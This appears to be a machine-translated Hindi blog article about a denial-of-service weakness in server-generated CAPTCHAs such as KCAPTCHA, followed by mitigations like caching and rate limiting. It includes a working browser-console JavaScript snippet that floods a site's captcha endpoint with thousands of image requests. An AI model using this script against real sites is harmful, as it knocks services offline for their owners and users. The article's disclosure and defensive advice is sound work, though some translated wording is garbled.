DoS अपने स्वयं के कैप्चा के साथ साइटों पर हमला करते हैं

आप बहुत सारी साइटें पा सकते हैं जो कैप्चा का उपयोग करके सभी प्रकार की बाहरी अवांछित स्वचालित गतिविधि (बॉट्स) से सुरक्षित हैं। और कई मामलों में, एक ही सर्वर, जिस पर साइट स्थित है, इन्हीं कैप्चा की पीढ़ी में लगी हुई है। साइट पर इस तरह के कैप्चा को पेंच करना बहुत आसान है, और मुफ्त कैप्चा-जेनरेटिंग लाइब्रेरी (उदाहरण के लिए केसीपीसीएचए ) हैं।

खतरा क्या है?

यदि ऐसा कोई मौका है कि आपकी साइट के दुश्मन होंगे (उदाहरण के लिए, आप www.piratepay.ru के स्वामी हैं), तो ऐसे कैप्चा का उपयोग करने से आप उन्हें बहुत मदद करने का जोखिम उठाते हैं - यहां तक ​​कि एक क्लाइंट कंप्यूटर का उपयोग करके साइट को अक्षम करना बहुत आसान हो जाता है।

क्यों?

कैप्चा पीढ़ी काफी संसाधन-गहन है, खासकर जब आप समझते हैं कि PHP (या कोई अन्य भाषा जो छवि प्रसंस्करण के लिए बहुत उपयुक्त नहीं है) ऐसा करती है।

उदाहरण के लिए, उपर्युक्त KCAPTCHA में, उदाहरण के लिए, एक पूर्व-रेखित फ़ॉन्ट (जो एक तस्वीर के रूप में संग्रहीत होता है) के टुकड़ों से एक तस्वीर एकत्र की जाती है:



कई ऐसी फॉन्ट फाइलें हैं (मानक "डिलीवरी" - 22) में, प्रत्येक अनुरोध के साथ, एक निर्देशिका स्कैन की जाती है और फ़ाइलों में से एक को यादृच्छिक रूप से चुना जाता है।

बेतरतीब ढंग से चयनित पात्रों को बांधने के बाद, वे विकृत होते हैं। इस स्थिति में, फ़िल्टर तरंग विरूपण (तरंग विरूपण) का उपयोग करता है, जिसे PHP + GD2 में लिखा गया है।

for($x=0;$x<$width;$x++){ for($y=0;$y<$height;$y++){ $sx=$x+(sin($x*$rand1+$rand5)+sin($y*$rand3+$rand6))*$rand9-$width/2+$center+1; $sy=$y+(sin($x*$rand2+$rand7)+sin($y*$rand4+$rand8))*$rand10; if($sx<0 || $sy<0 || $sx>=$width-1 || $sy>=$height-1){ continue; }else{ $color=imagecolorat($img, $sx, $sy) & 0xFF; $color_x=imagecolorat($img, $sx+1, $sy) & 0xFF; $color_y=imagecolorat($img, $sx, $sy+1) & 0xFF; $color_xy=imagecolorat($img, $sx+1, $sy+1) & 0xFF; } /* ... */ imagesetpixel($img2, $x, $y, imagecolorallocate($img2, $newred, $newgreen, $newblue)); } } 

यानी यह सब बहुत धीरे-धीरे होता है। डिफ़ॉल्ट रूप से कोई कैशिंग प्रदान नहीं की जाती है। यही बात कई अन्य पुस्तकालयों पर भी लागू होती है ("फोरम" वाले: phpBB, vBulletin, आदि)

यदि कैप्चा पीढ़ी के लिए बहुत सारे अनुरोध हैं, तो सर्वर के पास कैप्चा खींचने और साधारण पृष्ठ देने का समय नहीं होगा (विशेष रूप से यह देखते हुए कि साइट अक्सर किसी भी सीएमएस पर काम करती है और कैशिंग विभिन्न कारणों से बंद हो जाती है)।

आक्रमण

सबसे सरल मामले में, अपने पसंदीदा ब्राउज़र में साइट पर जाने के लिए पर्याप्त है (ताकि मामले में सिर्फ संदर्भकर्ता सही हो), जावास्क्रिप्ट डिबगर खोलें और कंसोल को कुछ इस तरह लिखें:

 cnt = document.getElementById('content'); /*    id */ regen = function() { var html = ''; for (var i = 0; i < 1000; i++) { html += '<img src="http://www.somesite.com/kcaptcha/index.php?' /*  */ + Math.random() + '" />'; } cnt.innerHTML = html; }; window.setInterval(regen, 10 * 1000); regen(); /*  —  ,  ,      */ window.setInterval('window.scrollTo(0, document.body.scrollHeight);', 500); 

नतीजतन, हमें कुछ भी नहीं के लिए एक अनंत संख्या में कैप्चा (उनकी पीढ़ी के साथ खराब सर्वर पर) का एक बहुआयामी डाउनलोड मिला। यह स्पष्ट है कि हर सर्वर इसे खड़ा नहीं कर सकता है, कई (स्वैच्छिक रूप से जांच की गई) HTTP त्रुटि 503 सेवा अनुपलब्ध है।

निष्कर्ष

इस तरह के हमले को रोकने के लिए कई स्पष्ट तरीके हैं:

• reCaptcha का उपयोग करें
• प्रत्येक आईपी पते से एक ही सत्र पहचानकर्ता के साथ कैप्चा अनुरोधों की संख्या की जांच करें।
• कैश में उत्पन्न कैप्चा की एक निश्चित संख्या रखें (100, 1000, ... - अनुरोधों की संख्या पर निर्भर करता है), उन्हें कुछ तेज़ (nginx) के माध्यम से दें, समय-समय पर कैश का पुनर्निर्माण करें
• विश्वसनीय टेक्स्ट कैप्चा का उपयोग करें, अधिमानतः आपकी साइट की बारीकियों को ध्यान में रखते हुए (उदाहरण के लिए, पाप (30 °) = ...)
• आपका विकल्प

PS "मंच" कैप्चा का उपयोग बिल्कुल नहीं करते हैं, क्योंकि वे बहुत कमजोर होते हैं - उन्हें पुन: कैप्चा के साथ बदलें; यदि आप पाठ कैप्चा का उपयोग करते हैं, तो सुनिश्चित करें कि विकल्पों की संख्या काफी बड़ी है।